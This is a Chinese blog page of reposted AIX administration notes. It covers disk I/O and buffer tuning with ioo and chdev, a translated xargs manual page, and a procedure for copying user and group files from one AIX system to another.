对于增强型 JFS,ioo 命令选项 j2_nRandomCluster(-z 标志)和 j2_maxRandomWrite(-J 标志)用来调优随机后写。增强型 JFS 的 j2_maxRandomWrite 选项和 JFS 的 maxrandwrt 选项功能相同。即它限定了每个文件可以留在内存中的脏页数。j2_nRandomCluster 选项指定了可以被视为随机的两次连续写入之间的簇数。 3、异步磁盘 I/O 性能调优
如果应用程序进行同步 I/O 操作,它必须等待 I/O 完成后才能继续执行。相反,异步 I/O 操作在后台运行,不会阻塞用户应用程序。这就改进了性能,因为 I/O 操作和处理中的应用程序可以同时运行。许多应用程序,诸如数据库和文件服务器,利用了重叠处理和重叠 I/O 的能力。
应用程序可以使用 aio_read() 命令、aio_write() 或 lio_listio() 子例程(或它们的副本)来执行异步磁盘 I/O。一旦请求被排队,控制权就从子例程返回应用程序。当磁盘操作被执行时,应用程序可以继续处理。
为了管理异步 I/O,每一个异步 I/O 请求在应用程序地址空间有一个相应的控制块。该控制块包含了请求的控制和状态信息。在 I/O 操作完成后可以被再次使用。
在发出了一个异步 I/O 请求,用户应用程序可以决定何时并以何种方式结束 I/O 操作。这些信息在以下三种方式的任何一种中提供:
应用程序可以轮询 I/O 操作的状态。
当 I/O 操作完成后系统可以异步通知应用程序。
应用程序可以阻塞,直到 I/O 操作完成。
每个 I/O 是由单个 kproc 处理,并且一般来说 kproc 不能处理任何更多的队列中的请求,直到 I/O 已经完成。当异步 I/O 启用时,缺省的配置好的服务器最小数目为 1。这是 minservers 属性。还存在一个可以创建的最大异步 I/O 服务器数,它由 maxservers 属性控制,缺省值为 10(每个 CPU)。服务器的数量限制了可以在系统中同时处理的异步磁盘 I/O 操作的数目。服务器数可用 SMIT 命令(smitty -> 设备 -> 异步 I/O -> 更改/显示异步 I/O 的特征 -> {MINIMUM | MAXIMUM} 服务器数目或 smitty aio)或者使用 chdev 命令来设置。
很少运行应用程序的系统可以使用异步 I/O,缺省值通常可以勉强够用。
如果异步 I/O 请求数目是高的,那么推荐您增加 maxservers 大约至同时 I/O 可能的数目。在大多数情况下,您最好保留 minservers 参数为缺省值,因为如果需要的话,AIO 内核扩展将生成附加的服务器数。
注:
执行在裸逻辑卷上的 AIO 操作并不使用 kproc 服务器进程。有关 maxservers 和 minservers 的设置在这种情况下没有效果。
通过查看 AIO 服务器的 CPU 利用率,如果利用率在它们中间均匀的分配,那就意味着它们都在使用中;在这种情况下,您可能要增加它们的数量。以名称查看 AIO 服务器,运行 pstat -a 命令。运行 ps -k 命令来查看名称为 kproc 的 AIO 服务器。
在异步磁盘 I/O 的性能很重要并且卷请求很高,而你又没有一个适当的同步 I/O 数量的环境下,建议把 maxservers 至少设置为 10(异步存储磁盘的数)。
对系统来说可以通过三个异步存取磁盘获得,如下所示:
# chdev -l aio0 -a maxservers='30'
此外,您可以设置未完成异步 I/O 请求的最大值以及服务器的优先级。如果您的系统拥有大量的异步 I/O 应用程序,那就可以适当地增加请求数以及降低优先级数目。
4、文件同步性能调优
JFS 的非顺序文件 I/O 会一直存储在内存中直到满足一定条件:
空闲列表缩小到 minfree,以致需要进行页替换。
syncd 守护程序按固定调度间隔刷新页。
执行了 sync 命令。
随机后写在达到随机后写阈值后清空脏页面。
如果在以上的任一条件满足前已存储了过多页,则在 syncd 守护程序进行刷新时,会获得一个 i-node 锁并保持到所有的脏页都被写入磁盘。在这段时间里,任何试图访问此文件的线程会由于无法获得 i-node 锁而被阻塞。请记住:syncd 守护程序会顺利的刷新一个文件中的所有脏页,但限于一次一个文件。在一个拥有大量内存并同时有大量页需要修改的系统中,syncd 守护程序刷新页时 I/O 可能达到高峰值。
AIX 有一个称为 sync_release_ilock 的可调选项。ioo 命令加上 -o sync_release_ilock=1 选项允许在清空该文件的脏页面后释放 i-node 锁。这一选项使得在调用 sync() 的过程中访问该文件有更好的响应。
阻塞效果也可通过在 syncd 守护程序中提高同步频率使之最小化。更换用于启用 syncd 守护程序的 /sbin/rc.boot。然后重新引导系统使之生效。对现行系统,杀死 syncd 守护程序进程并按新的值重新启动守护程序。
第三种调优这种行为的方法是使用 ioo 命令开启随机后写功能 文件系统缓冲区调优
以下 ioo 参数可用于调优磁盘 I/O:
numfsbufs 参数
当有大量针对文件系统的同步或大型 I/O 或是存在针对文件系统的大型顺序 I/O 时,这些 I/O 可能会在等待 bufstruct 时成为文件系统级的瓶颈。每个文件系统的 bufstructs 数目(称为 numfsbufs)可使用 ioo 命令增加。该值仅在文件系统加载后才会生效;因此如果更改了这个值,则必须卸载然后再次加载文件系统。numfsbufs 的缺省值目前为每个文件系统 93 个 bufstruct。
j2_nBufferPerPagerDevice 参数
在增强型 JFS 中,bufstruct 数量由参数 j2_nBufferPerPagerDevice 指定。当前增强型 JFS 文件系统的缺省 bufstruct 数是 512。每个增强型 JFS 文件系统的 bufstructs 数(j2_nBufferPerPagerDevice)可以使用 ioo 命令来增加。该值在文件系统被加载后才起作用。
lvm_bufcnt 参数
如果应用程序正在处理很大量的裸 I/O 而不通过文件系统,同文件系统相同类型的瓶颈也可能出现在 LVM 层上。极大量的 I/O 加上极快的 I/O 设备可能会导致 LVM 层上的瓶颈。但是如果真的出现瓶颈,则可以通过 ioo 命令增加 lvm_bufcnt 参数,以提供大量的“uphysio”缓冲区。该值会立刻生效。当前的缺省值是 9 个 “uphysio” 缓冲区。由于当前 LVM 将 I/O 分为每个 128 K,而 lvm_bufcnt 的缺省值为 9,故一次可写入 9*128 K。如果正在进行的 I/O 大于 9*128 K,增加 lvm_bufcnt 的值才会有利。
hd_pbuf_cnt 参数
hd_pbuf_cnt 参数控制可用于 LVM 设备驱动程序的 pbufs 数。pbuf 是用于存放暂挂于 LVM 层的 I/O 请求的固定内存缓冲区。
在 AIX 中,顺序 I/O 的结合使得无论 I/O 包括多少页,每个顺序 I/O 请求只使用单个 pbuf。这种类型的瓶颈一般很难遇到。而对于随机 I/O,除非运行 syncd 守护程序,I/O 一般会被零星地刷新。
确定是否发生 pbuf 瓶颈的最好方法是检查称为 hd_pendqblked 的 LVM 变量。以下的脚本会给出该变量的值:
#!/bin/ksh
# requires root authority to run
# determines number of times LVM had to wait on pbufs since system boot
addr=`echo "knlist hd_pendqblked" | /usr/sbin/crash 2>/dev/null |tail -1| cut -f2 -d:`
value=`echo "od $addr 1 D" | /usr/sbin/crash 2>/dev/null | tail -1| cut -f2 -d:`
echo "Number of waits on LVM pbufs are: $value"
exit 0
ioo -a 命令也会显示 hd_pendqblked 值。
注:
请不要把 hd_pbuf_cnt 值设得太大,因为除了重新引导系统无法减小该值。
pd_npages 参数
pd_npages 参数指定当删除文件时 RAM 的某一块中应该删除的页数。改变此值只对那些需要删除文件的实时应用程序才有用。由于在分派某个进程/线程之前将删除少量的页面,因此通过减小 pd_npages 参数的值,实时应用程序可获得更快的响应时间。缺省值是最大可能文件大小除以页面大小(目前为 4096);如果最大可能文件大小为 2 GB,则 pd_npages 参数的值缺省为 524288。
v_pinshm 参数
当 v_pinshm 参数设置为 1 时,如果执行 shmget() 的应用程序指定 SHM_PIN 作为标志的一部分,就会使共享内存段中的页面由 VMM 固定。缺省值为 0。
应用程序可以选择提供某种可调优性:指定应用程序是否应该使用 SHM_PIN 标志(例如: Oracle 8.1.5 及以上版本中提供的 lock_sga 参数)。请避免固定过多的内存,因为在这种情况下无法进行页替换。由于节约了这些共享内存段的异步 I/O 开销(不需要异步 I/O 内核扩展来固定缓冲区),因此这种固定是很有用的。
fsbufwaitcnt 和 psbufwaitcnt 计数器
只要 bufstruct 变得不可用以及 VMM 将一个线程放入 VMM 等待列表中,fsbufwaitcnt 和 psbufwaitcnt 计数器就会递增。使用 crash 命令或 ioo -a 命令的 fsbufwaitcnt 和 psbufwaitcnt 选项来检查这些计数器的值。下面是输出的示例:
# ioo -a
hd_pendqblked = 305
psbufwaitcnt = 0
fsbufwaitcnt = 337
xpagerbufwaitcnt 计数器
只要增强型 JFS 文件系统上的 bufstruct 不可用,xpagerbufwaitcnt 就会递增。可使用 ioo -a 命令检查 xpagerbufwaitcnt 计数器的值。下面是输出的示例:
# ioo -a
xpagerbufwaitcnt = 815
5、直接 I/O 调优
当您在对文件进行正常的 I/O 处理时,I/O 在应用程序缓冲区和 VMM 之间来回进行。在缓冲区中的内容通过 VMM 把实存作为文件缓冲区的高速缓存的使用而高速缓存于 RAM 中。如果文件高速缓存命中率很高,那么这个高速缓存的类型在提高 I/O 的总体性能上将十分有效。但是高速缓存命中率很低的应用程序或者执行大量 I/O 的应用程序也许不会从正常的高速缓存 I/O 使用中得到很多好处。
直接 I/O 的主要益处在于通过消除从 VMM 文件高速缓存到用户缓存的副本来减少 CPU 对文件读操作和写操作的使用率。如果高速缓存命中率低,那么大多数读取请求不得不转向磁盘。写操作在大多数情况下使用正常高速缓存 I/O 要更快。但是如果文件是以 O_SYNC 或 O_DSYNC打开的,那么写操作将不得不转向磁盘。在这种情况下,直接 I/O 可能使应用程序获益,因为数据的副本被消除了。
另一个益处是直接 I/O 可以允许应用程序避免稀释高速缓存对其他文件的效能。当一个文件被读取或写入时,该文件竞争内存空间,有可能引起其他文件数据被推出内存。如果一个应用程序开发者知道某些文件有较低的高速缓存利用率特征,那么只有那些文件可以用 O_DIRECT 打开。
为了让直接 I/O 有效地工作,I/O 请求适用于正被使用的文件系统的类型。finfo() 和 ffinfo() 子例程可以用来查询偏移量、长度以及固定块大小文件系统、碎片文件系统和大文件文件系统有关对地址校正的需求(直接 I/O 没有支持压缩文件系统)。查询到的信息包含于 diocapbuf 结构中,该结构在 /usr/include/sys/finfo.h 文件中描述。
为了避免一致问题,如果有多个调用用来打开文件并且一个或多个调用没有制定 O_DIRECT 而另一个打开操作指定了 O_DIRECT,那么文件将保留于正常高速缓存 I/O 模式。同样的,如果文件是通过 shmat() 或 mmap() 系统调用来映射到内存中,它们保留在正常高速缓存模式。如果最后一个冲突,非直接存取被消除,那么文件系统将把文件移入直接 I/O 模式(或者使用 close()、munmap() 或者使用 shmdt() 子例程)。从正常模式到直接 I/O 模式可能代价不小,因为所有在内存中修改过的页面将不得不在那点上刷新磁盘。
直接 I/O 读操作的性能
即使使用直接 I/O 可能减少 CPU 的使用,但很有可能产生更长的消逝时间,特别对小型 I/O 请求而言,因为请求不会在内存中高速缓存。
直接 I/O 读取操作会从磁盘引起同步读操作,然而通过正常的高速缓存策略,读取操作可能会从高速缓存那里得到满意的结果。如果数据在内存中遵循正常高速缓存策略,那么这样可能导致性能低下。直接 I/O 也忽略 VMM 预读算法,因为 I/O 并不通过 VMM。预读算法对顺序存取文件非常有用,因为 VMM 可以启动磁盘请求并且能在应用程序请求页面之前使页面早就驻留在内存中。应用程序可以通过一下方法中的一种补偿预读的损失:
执行读取请求(最小 128 K)
使用多个线程执行异步直接 I/O 预读取。
使用异步 I/O 设施诸如 aio_read() 或者 lio_listio()
直接 I/O 写操作的性能
直接 I/O 写操作绕过 VMM 直接写入磁盘,以致于可能产生严重的性能损失;在正常高速缓存的 I/O 中,写操作可以写入内存,稍后通过 sync 或 write behind 操作清空到磁盘上。由于直接 I/O 写操作并不复制到内存,当一个 sync 操作执行后,它不会必须刷新这些页面,这样一来就减少了 syncd 守护程序必须执行的工作量。
直接 I/O 调优摘要
直接 I/O 本质上比常规 I/O 需要更少的 CPU 周期。 I/O 增强性应用程序不会在常规 I/O 所提供的高速缓存中得到益处,但是可以使用直接 I/O 来增强性能。
作为直接 I/O 的适当候选者的程序通常受 CPU 限制并且执行大量的磁盘 I/O。拥有大量顺序 I/O 的技术应用程序是适当的候选者。执行许多小型 I/O 的应用程序一般来说受到较少的性能益处,因为直接 I/O 不能预读或后写。受益于条带区的应用程序同样是不错的候选者。

阅读全文(6026) | 回复(0) | 编辑 | 精华 | 删除
 


[综合][命令] xargs命令
文章收藏,  网上资源

薛 峰 发表于 2005/12/26 11:17:11

  [命令] xargs命令 xargs 命令
用途
构造参数列表并运行命令。
语法
xargs [  -p ] [  -t ] [  -e [ EOFString ] ] [  -E EOFString ] [  -i [
ReplaceString ] ] [  -I ReplaceString ] [  -l [ Number ] ] [  -L Number ] [  -n
Number  [  -x ] ] [  -s Size ] [ Command [ Argument ... ] ]
  注: 不要在小写的标志和参数之间放置空格。
描述
生成的命令行长度是 Command 和每个作为字符串对待的 Argument,包括用于每个字符串的空字节结束符号,大小(以字节计算)的总和。xargs
命令限制命令行的长度。当构造的命令行运行时,组合的 Argument 和环境列表不能超过 ARG_MAX 字节。在这一约束里,如果不指定 -n 或 -s
标志,缺省命令行长度至少是 LINE_MAX 指定的值。 xargs 命令
用途
构造参数列表并运行命令。
语法
xargs [  -p ] [  -t ] [  -e [ EOFString ] ] [  -E EOFString ] [  -i [
ReplaceString ] ] [  -I ReplaceString ] [  -l [ Number ] ] [  -L Number ] [  -n
Number  [  -x ] ] [  -s Size ] [ Command [ Argument ... ] ]
  注: 不要在小写的标志和参数之间放置空格。
描述
生成的命令行长度是 Command 和每个作为字符串对待的 Argument,包括用于每个字符串的空字节结束符号,大小(以字节计算)的总和。xargs
命令限制命令行的长度。当构造的命令行运行时,组合的 Argument 和环境列表不能超过 ARG_MAX 字节。在这一约束里,如果不指定 -n 或 -s
标志,缺省命令行长度至少是 LINE_MAX 指定的值。
标志
      -e[EOFString]废弃的标志。请使用 -E 标志。
      将 EOFString 参数用作逻辑 EOF 字符串。如果不指定 -e 或 -E 标志,则采用下划线(_)为逻辑 EOF 字符串。如果不指定
      EOFString 参数,逻辑 EOF 字符串能力被禁用且下划线被照字面含义使用。xargs 命令读取标准输入直到达到 EOF 或指定的字符串。
      -E EOFString指定逻辑 EOF 字符串以替换缺省的下划线(_)。 xargs 命令读取标准输入直到达到 EOF 或指定的字符串。
      -i[ReplaceString]废弃的标志。请使用 -I(大写 i)标志。
      如果没有指定 ReplaceString 参数,使用字符串 "{}"。
        注:-I(大写 i)和 -i 标志是互相排斥的;最后指定的标志生效。
      -I ReplaceString(大写 i)。插入标准输入的每一行用 Command 参数的自变量,把它插入出现的每个 ReplaceString
      的 Argument 中。ReplaceStrings 不能在超过 5 个自变量中使用。在每个标准输入行开始的空字符被忽略。每个 Argument
      能包含一个或多个 ReplaceStrings,但不能大于 255 字节。-I 标志同样打开 -x 标志。
        注:-I(大写 i)和 -i 标志是互相排斥的;最后指定的标志生效。
      -l[Number](小写的 L)。废弃的标志。请使用 -L 标志。
      如果没有指定 Number 参数,使用缺省值 1。-l 标志同样打开 -x 标志。
        注: -L、-I(小写的 L)和 -n 标志是互相排斥的;最后指定的标志生效。
      -L Number用从标准输入读取的非空参数行的指定的数量运行 Command 命令。如果保留少于指定的 Number,Command
      参数的最后调用可以有少数几个参数行。一行以第一个换行字符结束,除非行的最后一个字符是一个空格或制表符。后续的空格表示延续至下一个非空行。
        注: -L、-I(小写的 L)和 -n 标志是互相排斥的;最后指定的标志生效。
      -n Number运行 Command 参数,且使用尽可能多的标准输入自变量,直到 Number 参数指定的最大值。xargs
      命令使用很少的自变量,如果:
        如果被积累的命令行长度超过了由 -s Size 标志指定的字节。
        最后的迭代有少于 Number(但是非零)的自变量保留。
          注: -L、-I(小写的 L)和 -n 标志是互相排斥的;最后指定的标志生效。
      -p询问是否运行 Command 参数。它显示构造的命令行,后跟一个 ?...(问号和省略号)提示。输入肯定的、特定于语言环境的响应以运行
      Command 参数。任何其它响应都会引起 xargs 命令跳过那个特定的参数调用。每个调用都将询问您。 -p 标志同样打开 -t 标志。
      -s Size设置构造的 Command 行的最大总大小。Size 参数必须是正整数。如果满足以下条件,则使用很少的自变量:
        自变量的总数超出 -n 标志指定的自变量数。
        总行数超出 -L 或 -I(小写 L)标志指定的行数。
        累加至在 Size 参数指定的字节数之前达到 EOF。

      -t启用跟踪方式并在运行之前将构造的 Command 行回送到标准错误。
      -x如果有任何 Command 行大于 -s Size 标志指定的字节数,停止运行 xargs 命令。如果指定 -I(大写 i)或 -l(小写
      L)标志,则打开 -x 标志。如果没有指定 -i、-I(大写 i)、-l(小写 L)、-L 或 -n 标志,则 Command 行的总长度必须在
      -s Size 标志指定的限制内。

出口状态
该命令返回下列出口值:
      0所有 Command 参数的调用都返回出口状态 0。
      1-125不能组装满足指定要求的命令行,一个或多个 Command 参数的调用返回一个非零出口状态,或发生一些其它的错误。
      126Command 已找到但不能被调用。
      127找不到 Command。

如果不能组装满足指定要求的命令行,则不能调用这个命令,命令的调用被一个信号终止,或一个命令调用以出口状态 255 退出。xargs
命令将写一条诊断消息并退出而不处理任何保留的输入。
示例
  要对名称在一个文件中列出的文件使用命令,输入:
xargs lint -a <cfiles如果 cfiles 文件包含下面的文本:
main.c readit.c
gettoken.c
putobj.cxargs 命令就构造并运行下面的命令:
lint -a main.c readit.c gettoken.c putobj.c如果 cfiles 文件包含比列出在单一外壳程序命令行上的文件名更多的文件名(最多 LINE_MAX),xargs 命令会用列出的文件名运行 lint
  命令。然后它使用余下的文件名构造并运行另一个 lint 命令。根据在 cfiles 文件中列出的文件名,命令看起来可能类似于如下所示的内容:
lint -a main.c readit.c gettoken.c . . .
lint -a getisx.c getprp.c getpid.c . . .
lint -a fltadd.c fltmult.c fltdiv.c . . .这一命令序列同用所有的文件名运行 lint 命令一次不完全一样。lint 命令检查文件之间的交叉引用。然而,在这个示例中,它不能在 main.c 和
  fltadd.c 文件之间,或任意两个在分开的命令行上列出的两个文件之间进行检查。
  由于这个原因,仅当所有的文件名都在一行上列出时,才可能运行命令。要将这个指定到 xargs命令,通过输入以下命令使用 -x 标志:

  xargs  -x lint -a <cfiles
  如果在文件 cfiles 中的所有文件名没有在一个命令行上列出,xargs 命令显示一条错误消息。
  要构造包含一定数量文件名的命令,输入:
  xargs  -t  -n 2 diff <<EOF
  starting chap1 concepts chap2 writing
  chap3
  EOF
  这一命令序列构造并运行每个包含两个文件名的 diff 命令(-n 2):
diff starting chap1
diff concepts chap2
diff writing chap3-t 标志使 xargs 命令在运行每个命令之前显示该命令,所以能看到正在发生的事件。<<EOF 和 EOF 模式匹配字符定义一个 here
  document,它把在结尾行之前输入的文本用作对 xargs 命令的标准输入。
  要把文件名插入命令行的中间,输入:
  ls | xargs  -t  -I {} mv {} {}.old
  这一命令序列通过在每个名字结尾添加 .old 来重命名在当前目录里的所有文件。-I 标志告诉 xargs 命令插入有{}(花括号)出现的 ls
  目录列表的每一行。如果当前目录包含文件 chap1、chap2 和 chap3,这会构造下面的命令:
mv chap1 chap1.old
mv chap2 chap2.old
mv chap3 chap3.old要对独立选择的文件运行命令,输入:
  ls | xargs  -p  -n 1 ar r lib.a
  这一命令序列允许选择文件以添加到 lib.a 库。-p 标志告诉 xargs 命令去显示每一个它构造的 ar命令并询问是否想运行它。输入 y
  来运行命令。如果不想运行这个命令按任意其它键。
  会显示一些类似于下面的内容:
ar r lib.a chap1 ?...
ar r lib.a chap2 ?...
ar r lib.a chap3 ?... 要构造包含特定数量自变量的命令并将那些自变量插入一个命令行的中间,输入:
ls | xargs -n6 | xargs -I{} echo {} - some files in the directory如果当前目录包含从 chap1 到 chap10 的文件,构造的输出将会是下列内容:
chap1 chap2 chap3 chap4 chap5 chap6 - some files in the directory
chap7 chap8 chap9 chap10 - some file in the directory文件
      /usr/bin/xargs包含 xargs 命令

阅读全文(4919) | 回复(0) | 编辑 | 精华 | 删除
 


[综合]一个AIX操作系统中的用户信息拷贝到另外一个AIX操作系统中
文章收藏

薛 峰 发表于 2005/12/26 11:08:35

一个AIX操作系统中的用户信息拷贝到另外一个AIX操作系统中

在某些情况下,需要使一个AIX操作系统中的用户信息与另外一个AIX操作系统中的用户信息保持一致。如果在新的AIX操作系统中再重复创建这些用户将会非常浪费时间。因此通过拷贝那些与用户有关的文件并且进行一些必要的修改将会更快的实现用户的一致性。
在下列过程中所涉及到的所有的文件都是单纯的ASCII码文件,并且它们的格式从AIX操作系统版本4到AIX操作系统版本5中都没有改变,所以操作系统用户可以从相同的操作系统之间被迁移,也可以从不同的操作系统之间被迁移,比如从AIX操作系统版本4到版本5之间进行迁移。
下面是需要从旧的操作系统中拷贝到新的操作系统中的文件列表:
/etc/group
/etc/passwd
/etc/security/group
/etc/security/limits
/etc/security/passwd
/etc/security/.ids
/etc/security/environ
/etc/security/.profile
注意:需要修改/etc/passwd文件,以便使其中的root项如以下所示:
root0:0::/:/usr/bin/ksh
当你在拷贝/etc/passwd文件和/etc/group文件的时候,需要确认它们至少应该包含基本的用户和用户组。
特别地,需要包含以下的用户:
root
daemon
bin
sys
adm
uucp
guest
nobody
lpd
以及以下的用户组:
system
staff
bin
sys
adm
uucp
mail
security
cron
printq
audit
ecs
nobody
usr
关于这些用户和用户组的详细信息可以在AIX操作系统版本4安装指南(AIX Version 4.3 Installaton Guide )中找到。
如果文件集bos.compat.links已经在操作系统中被安装,那么你也需要把/etc/security/mkuser.defaults文件从旧的操作系统中拷贝到新的操作系统中去。如果该文件集没有被安装,那么这个文件存在于/usr/lib/security 目录下。/etc/security 目录是一个到/usr/lib/security目录的符号连接。
如果你已经拷贝了mkuser.defaults文件,则必须在用户小节(stanzas)中进行一些改变。需要将group改变为pgrp,将program改变为shell。一个正确的小节(stanzas)应该和下面的例子看起来差不多。
user:
pgrp = staff
groups = staff
shell = /usr/bin/ksh
home = /home/$USER
只要是在新机器上的AIX操作系统版本和旧机器上的AIX操作系统版本是一样的,那么以下的文件也必须被拷贝过去:
/etc/security/login.cfg
/etc/security/user
注意:如果你决定拷贝这两个文件,那么在拷贝之前需要打开/etc/security/user文件确认一些变量如tty, registry, auth1 等相对应于新机器的设置是正确的。否则,不要拷贝这两个文件,而只应该将旧机器上的所有的用户节拷贝到新机器上新建的文件中。
一旦这些文件都被迁移过去,那么需要执行以下的命令:
# usrck -t ALL
# pwdck -t ALL
# grpck -t ALL
上面的这些命令将会清理系统中相对于用户和用户组的任何不一致的情况(诸如,uucp 在 /etc/security/passwd文件中没有记录(entry))等。
在理想的情况下,它们应该被运行两次:拷贝文件之前在旧的系统上先运行,当拷贝文件之后在新的系统上再次运行。

阅读全文(4575) | 回复(0) | 编辑 | 精华 | 删除
 


« 1 2 3 4 5 6 7 8 9 10 »



站点首页 | 联系我们 | 博客注册 | 博客登陆

Sponsored By W3CHINA
W3CHINA Blog 0.8 Processed in 0.063 second(s), page refreshed 144790929 times.
《全国人大常委会关于维护互联网安全的决定》  《计算机信息网络国际联网安全保护管理办法》
苏ICP备05006046号